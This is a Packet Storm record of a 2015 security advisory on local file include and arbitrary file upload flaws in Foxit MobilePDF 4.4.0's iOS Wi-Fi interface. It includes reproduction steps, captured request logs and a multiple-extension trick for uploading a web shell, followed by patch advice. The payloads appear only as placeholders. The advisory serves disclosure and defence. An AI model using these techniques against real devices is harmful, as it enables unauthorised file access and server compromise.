{"id": "PACKETSTORM:129950", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Foxit MobilePDF 4.4.0 Local File Inclusion / Arbitrary File Upload", "description": "", "published": "2015-01-14T00:00:00", "modified": "2015-01-14T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/129950/Foxit-MobilePDF-4.4.0-Local-File-Inclusion-Arbitrary-File-Upload.html", "reporter": "Benjamin Kunz Mejri", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:27:40", "viewCount": 3, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:27:40", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:27:40", "rev": 2}, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/129950/VL-1400.txt", "sourceData": "`Document Title: \n=============== \nFoxit MobilePDF v4.4.0 iOS - Multiple Web Vulnerabilities \n \n \nReferences (Source): \n==================== \nhttp://www.vulnerability-lab.com/get_content.php?id=1400 \n \n \nRelease Date: \n============= \n2015-01-12 \n \n \nVulnerability Laboratory ID (VL-ID): \n==================================== \n1400 \n \n \nCommon Vulnerability Scoring System: \n==================================== \n6.9 \n \n \nProduct & Service Introduction: \n=============================== \nFoxit MobilePDF enables you to view and annotate PDF documents on the go, allowing you to work on your PDF documents anytime, anywhere. \nSpecify the permissions to restrict operations to PDF files, such as copying content, adding annotation, managing page & bookmark, and printing. \nShare, store and synchronize PDF files. \n \n(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/foxit-mobile-pdf/id507040546 ) \n \n \nAbstract Advisory Information: \n============================== \nThe Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official Foxit MobilePDF v4.4.0 iOS mobile web-application. \n \n \nVulnerability Disclosure Timeline: \n================================== \n2015-01-12: Public Disclosure (Vulnerability Laboratory) \n \n \nDiscovery Status: \n================= \nPublished \n \n \nAffected Product(s): \n==================== \nFoxit Corporation \nProduct: MobilePDF - iOS Web Application (Wifi) 4.4.0 \n \n \nExploitation Technique: \n======================= \nRemote \n \n \nSeverity Level: \n=============== \nHigh \n \n \nTechnical Details & Description: \n================================ \n1.1 \nA local file include web vulnerability has been discovered in the official Foxit MobilePDF v4.4.0 iOS mobile web-application. \nThe local file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific \npath commands to compromise the mobile web-application. \n \nThe vulnerability is located in the `filename` value of the wifi interface `upload` module. Local attackers are able to manipulate the \nwifi web interface by usage of the vulnerable `upload` POST method request. The service does not encode or parse the `filename` context \non uploads. Attackers can include an existing local application path or an existing local device path as source in connection with script \ncode to compromise the iOS app. The execution of unauthorized local file or path request occurs in the index of documents module of the \nwifi file service application after the inject. The request method to inject is POST and the attack vector is located on the application-side \nof the affected iOS application. \n \nThe security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. \nExploitation of the local file include web vulnerability in the upload module requires no user interaction or privileged web-application user account. \nSuccessful exploitation of the local file include web vulnerability results in mobile application compromise or compromised device components. \n \nVulnerable Method(s): \n[+] POST \n \nVulnerable Module(s): \n[+] Upload \n \nVulnerable Parameter(s): \n[+] filename (name) \n \nAffected Module(s): \n[+] Index of Documents (http://localhost:8888) \n \n \n \n1.2 \nAn arbitrary file upload web vulnerability has been discovered in the official Foxit MobilePDF v4.4.0 iOS mobile web-application. \nThe arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server. \n \nThe vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the \nfilename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension \n`pentest.png.html.php.js.aspx.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file \nextension and can access the webshell with elevated access rights to execute. \n \nThe security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6. \nExploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password. \nSuccessful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server. \n \n \nRequest Method(s): \n[+] [POST] \n \nVulnerable Module(s): \n[+] Upload \n \nVulnerable Parameter(s): \n[+] filename (multiple extensions) \n \nAffected Module(s): \n[+] Index of Documents (http://localhost:8888) \n \n \nProof of Concept (PoC): \n======================= \n1.1 \nThe local file include vulnerability can be exploited by remote attackers without privileged application user account or user interaction. \nFor security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. \n \nManual steps to reproduce the vulnerability ... \n1. Download and install the FoxIT MobilePDF iOS application \n2. Surf to the Documents Index of the Wifi Server (http://localhost:8888) \n3. Start to choose a file for the upload function by usage of the search \n4. Intercept the session by usage of a tamper and change the name value to the local device path source \n5. Continue the request and save the settings. After that go back to the Index of Documents \nNote: The execution of the script code occurs in the vulnerable name value of the index file dir list \n6. Successful reproduce of the security vulnerability! \n \nPoC: Index of Documents (Name) \n<tr><td><a href=\"/<img src=\"><img src=\"./[LOCAL FILE INCLUDE VULNERABILITY!]</a\"></a></td><td align=\"center\">file</td> \n<td align=\"center\"><span class=\"m\">2015-01-10 13:49</span></td><td align=\"center\"><span class=\"s\">538 B</span></td></tr> \n \n--- PoC Session Logs [POST] (File Include > Upload)--- \nStatus: 200[OK] \nPOST http://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[3624] Mime Type[application/x-unknown-content-type] \nRequest Header: \nHost[localhost:8888] \nUser-Agent \n[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] \nAccept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] \nAccept-Language[de,en-US;q=0.7,en;q=0.3] \nAccept-Encoding[gzip, deflate] \nReferer[http://localhost:8888/] \nConnection[keep-alive] \nPOST-Daten: \nPOST_DATA[-----------------------------3796507625132 \nContent-Disposition: form-data; name=\"button\"; \nfilename=\"./[LOCAL FILE INCLUDE VULNERABILITY!]+2.png\" \nContent-Type: image/png \n \n--- PoC Session Logs [GET] (File Dir Index List)--- \n13:54:26.427[48ms][total 48ms] Status: 200[OK] \nGET http://localhost:8888/%3C/./[LOCAL FILE INCLUDE VULNERABILITY!] Load Flags[LOAD_NORMAL] Gr\u00f6\u00dfe des Inhalts[142] Mime Type[application/x-unknown-content-type] \nRequest Header: \nHost[localhost:8888] \nUser-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] \nAccept[image/png,image/*;q=0.8,*/*;q=0.5] \nAccept-Language[de,en-US;q=0.7,en;q=0.3] \nAccept-Encoding[gzip, deflate] \nReferer[http://localhost:8888/] \nConnection[keep-alive] \nResponse Header: \nAccept-Ranges[bytes] \nContent-Length[142] \nDate[Sa., 10 Jan. 2015 12:49:30 GMT] \n \nReference(s): \nhttp://localhost:8888/ \nhttp://localhost:8888/%3C/./ \n \n \n \n1.2 \nThe arbitrary file upload vulnerability can be exploited by remote attackers without privileged application user account or user interaction. \nFor security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. \n \nPoC: URL \nhttp://localhost:8888/./webshell.png.html.php \n \nPoC: Index of Documents \n<tr><td><a href=\"/webshell.png.html.php.js.png\">webshell.png.html.php.js.png</a></td> \n<td align=\"center\">file</td><td align=\"center\"><span class=\"m\">2015-01-10 13:58</span></td> \n<td align=\"center\"><span class=\"s\">538 B</span></td></tr> \n \n--- PoC Session Logs [POST] --- \n14:03:16.481[149ms][total 1583ms] Status: 200[OK] \nPOST http://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[3883] Mime Type[application/x-unknown-content-type] \nRequest Header: \nHost[localhost:8888] \nUser-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] \nAccept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] \nAccept-Language[de,en-US;q=0.7,en;q=0.3] \nAccept-Encoding[gzip, deflate] \nReferer[http://localhost:8888/] \nConnection[keep-alive] \nPOST-Daten: \nPOST_DATA[-----------------------------282243582256 \nContent-Disposition: form-data; name=\"button\"; filename=\"webshell.png.html.php.js.png\" \nContent-Type: image/png \n \nReference(s): \nhttp://localhost:8888/ \nhttp://localhost:8888/./webshell.png.html.php \n \n \nSolution - Fix & Patch: \n======================= \n1.1 \nThe file include vulnerability can be pa\u00fctched by a secure parse and encode of the vulnerable `filename` value in the upload POST method request. \nRestrict the filename input and filter with an own set exception to prevent application-side attacks. \nParse also in the Index of Documents the vulnerable name output value to solve the issue. \n \n1.2 \nRestrict the vulnerable `filename` value and implement a secure filter mechanism with own exception to prevent the upload of files with multiple extensions. \nRestrict the upload folder and disallow the execution of files that are already uploaded. \n \n \nSecurity Risk: \n============== \n1.1 \nThe security risk of the local file include web vulnerability in the upload POSt method request is estimated as high. (CVSS 6.9) \n \n1.2 \nThe security risk of the arbitrary file upload vulnerability in the upload POST method request is estimated as high. (CVSS 6.6) \n \n \nCredits & Authors: \n================== \nVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] \n \n \nDisclaimer & Information: \n========================= \nThe information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed \nor implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable \nin any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab \nor its suppliers have been advised of the possibility of such damages. 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